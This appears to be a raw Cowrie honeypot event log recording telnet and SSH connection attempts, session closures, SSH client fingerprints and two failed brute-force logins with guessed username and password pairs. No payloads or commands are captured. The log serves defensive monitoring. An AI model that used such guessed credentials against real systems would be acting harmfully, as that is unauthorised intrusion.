{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":49282,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcd544ca1439","protocol":"telnet","message":"New connection: 103.153.64.19:49282 (10.17.0.5:23) [session: fcd544ca1439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:37.966805Z"}
{"eventid":"cowrie.session.closed","duration":30.481859922409058,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:38.085478Z","src_ip":"187.45.176.130","session":"8aff9139f174","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.227616548538208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:38.139324Z","src_ip":"103.153.64.19","session":"c20bdab3ae50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.490100860595703,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:38.161374Z","src_ip":"103.153.64.19","session":"7e486c990b4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.61140203475952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:38.346651Z","src_ip":"203.1.9.18","session":"65d0168bbb9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.382749795913696,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:39.100350Z","src_ip":"203.1.9.18","session":"c760de468455","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97648310661316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:39.565187Z","src_ip":"203.1.9.18","session":"c2dafd14e0d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.941658973693848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:39.625533Z","src_ip":"203.1.9.18","session":"2f03e77898b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77498722076416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:40.133316Z","src_ip":"187.45.176.130","session":"eae75eb63551","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36987018585205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:40.190625Z","src_ip":"103.153.64.19","session":"5ddd723914dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.684691667556763,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:40.346378Z","src_ip":"103.153.64.19","session":"3dcf11e17b5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.499841690063477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:40.769729Z","src_ip":"203.1.9.18","session":"cf3cce9f2862","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.374271631240845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:41.584603Z","src_ip":"203.1.9.18","session":"8484ed63b13d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69074535369873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:41.605350Z","src_ip":"203.1.9.18","session":"26c69b53143b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.202392578125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:41.820555Z","src_ip":"203.1.9.18","session":"11260f6f22a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51534628868103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:42.127945Z","src_ip":"103.153.64.19","session":"c33674fda11e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.330755710601807,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:43.434692Z","src_ip":"203.1.9.18","session":"44c709977b7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63456439971924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:43.633751Z","src_ip":"203.1.9.18","session":"f9f94d62ea3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.192545890808105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:43.717296Z","src_ip":"203.1.9.18","session":"44551bfe677c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.805652379989624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:44.116199Z","src_ip":"187.45.176.130","session":"7b4cb47724c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.369487047195435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:44.156573Z","src_ip":"103.153.64.19","session":"c5a35b09ab91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":49292,"dst_ip":"10.17.0.5","dst_port":23,"session":"e589d06cf14c","protocol":"telnet","message":"New connection: 103.153.64.19:49292 (10.17.0.5:23) [session: e589d06cf14c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:44.293668Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":55784,"dst_ip":"10.17.0.5","dst_port":22,"session":"8797ce7b5519","protocol":"ssh","message":"New connection: 74.91.200.154:55784 (10.17.0.5:22) [session: 8797ce7b5519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:45.038882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:45.042800Z","src_ip":"74.91.200.154","session":"8797ce7b5519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.217727422714233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:45.144611Z","src_ip":"103.153.64.19","session":"1860ee423cd1","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:45.266190Z","src_ip":"74.91.200.154","session":"8797ce7b5519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.40298628807068,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:45.602493Z","src_ip":"203.1.9.18","session":"8770ed06b40d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31186056137085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:45.606855Z","src_ip":"203.1.9.18","session":"fa4a9b95c191","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"pass123","message":"login attempt [user/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:46.186602Z","src_ip":"74.91.200.154","session":"8797ce7b5519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.491557836532593,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:46.554203Z","src_ip":"203.1.9.18","session":"f482dd51d1d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88086724281311,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:46.628348Z","src_ip":"203.1.9.18","session":"69fc33133f95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.684328079223633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:46.633843Z","src_ip":"203.1.9.18","session":"06afe5bcbd8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.908167362213135,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:46.914022Z","src_ip":"103.153.64.19","session":"4989699bb2bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.709656715393066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:47.082275Z","src_ip":"187.45.176.130","session":"5288fdbf2d32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":47052,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b627fab9705","protocol":"telnet","message":"New connection: 103.153.64.19:47052 (10.17.0.5:23) [session: 6b627fab9705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:47.191950Z"}
{"eventid":"cowrie.session.closed","duration":31.325533866882324,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:47.234390Z","src_ip":"103.153.64.19","session":"60093ee30348","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:47.407845Z","src_ip":"74.91.200.154","session":"8797ce7b5519","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":47056,"dst_ip":"10.17.0.5","dst_port":23,"session":"82326c546f76","protocol":"telnet","message":"New connection: 103.153.64.19:47056 (10.17.0.5:23) [session: 82326c546f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:47.657456Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42980,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2744f6231d4","protocol":"ssh","message":"New connection: 159.203.92.129:42980 (159.203.135.109:22) [session: c2744f6231d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:47.721824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:47.726513Z","src_ip":"159.203.92.129","session":"c2744f6231d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:47.730797Z","src_ip":"159.203.92.129","session":"c2744f6231d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"asdlkj123","message":"login attempt [admin/asdlkj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:47.742035Z","src_ip":"159.203.92.129","session":"c2744f6231d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.85685133934021,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:48.707919Z","src_ip":"203.1.9.18","session":"89130e68c5da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:48.748834Z","src_ip":"159.203.92.129","session":"c2744f6231d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":47064,"dst_ip":"10.17.0.5","dst_port":23,"session":"e688bb293338","protocol":"telnet","message":"New connection: 103.153.64.19:47064 (10.17.0.5:23) [session: e688bb293338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:48.802021Z"}
{"eventid":"cowrie.session.closed","duration":30.495657682418823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:49.050910Z","src_ip":"185.116.212.16","session":"66267fcfd4a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.041768550872803,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:49.124874Z","src_ip":"103.153.64.19","session":"f64a0ae010e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.296923875808716,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:49.143825Z","src_ip":"103.153.64.19","session":"2574a84af3d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.508872747421265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:49.177840Z","src_ip":"103.153.64.19","session":"0bdfc30495eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.24567198753357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:49.600478Z","src_ip":"203.1.9.18","session":"8b6665ddca3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.538646459579468,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:50.120511Z","src_ip":"185.116.212.16","session":"c10a2510c72d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.152965784072876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:50.125380Z","src_ip":"103.153.64.19","session":"45144e8478d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":47068,"dst_ip":"10.17.0.5","dst_port":23,"session":"09d4e502cf26","protocol":"telnet","message":"New connection: 103.153.64.19:47068 (10.17.0.5:23) [session: 09d4e502cf26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:51.010305Z"}
{"eventid":"cowrie.session.closed","duration":30.43490767478943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:51.207212Z","src_ip":"103.153.64.19","session":"f0c8efd3297a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3802809715271,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:52.577943Z","src_ip":"203.1.9.18","session":"2280bc0cb3ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4891574382782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:53.134632Z","src_ip":"103.153.64.19","session":"9731d3cf8f48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.992289543151855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:53.626170Z","src_ip":"203.1.9.18","session":"cd73a507b1fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6263906955719,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:54.542197Z","src_ip":"203.1.9.18","session":"069860032b4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48850655555725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:55.137684Z","src_ip":"103.153.64.19","session":"f8e8cbec1c88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64131784439087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:55.633392Z","src_ip":"203.1.9.18","session":"4d849ab37c53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.690407276153564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:56.176210Z","src_ip":"203.1.9.18","session":"4cd9a4e55871","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7655291557312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:57.101971Z","src_ip":"187.45.176.130","session":"0451029b6baa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89740514755249,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:57.562822Z","src_ip":"203.1.9.18","session":"55eca30d5b60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62374258041382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:57.858778Z","src_ip":"203.1.9.18","session":"bfb689cc9d4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37195897102356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:59.151334Z","src_ip":"187.45.176.130","session":"e2c9f69c8c81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.629868268966675,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:59.260621Z","src_ip":"203.1.9.18","session":"8f0f217884d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.529125213623047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:36:00.129910Z","src_ip":"103.153.64.19","session":"a44d7dc3fd6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.620949268341064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:36:00.172893Z","src_ip":"187.45.176.130","session":"c60ea05d68aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":38118,"dst_ip":"10.17.0.5","dst_port":23,"session":"f55cf720dff1","protocol":"telnet","message":"New connection: 103.153.64.19:38118 (10.17.0.5:23) [session: f55cf720dff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:36:00.534339Z"}
{"eventid":"cowrie.session.closed","duration":30.565719842910767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:36:01.235205Z","src_ip":"103.153.64.19","session":"b4f94ba9f508","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9445903301239,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:36:01.375297Z","src_ip":"103.153.64.19","session":"3371546843a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.853044748306274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:36:01.608736Z","src_ip":"203.1.9.18","session":"992b7964884b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":38130,"dst_ip":"10.17.0.5","dst_port":23,"session":"af650ba26d74","protocol":"telnet","message":"New connection: 103.153.64.19:38130 (10.17.0.5:23) [session: af650ba26d74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:36:01.655880Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":38138,"dst_ip":"10.17.0.5","dst_port":23,"session":"009bdef5e188","protocol":"telnet","message":"New connection: 103.153.64.19:38138 (10.17.0.5:23) [session: 009bdef5e188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:36:01.673695Z"}
{"eventid":"cowrie.session.closed","duration":30.992517471313477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:36:01.876292Z","src_ip":"203.1.9.18","session":"1aa1d5e6da44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.039093494415283,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:36:01.884448Z","src_ip":"203.1.9.18","session":"474760422a6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.806713581085205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:36:02.131107Z","src_ip":"187.45.176.130","session":"ad16fc4201c2","protocol":"telnet"}
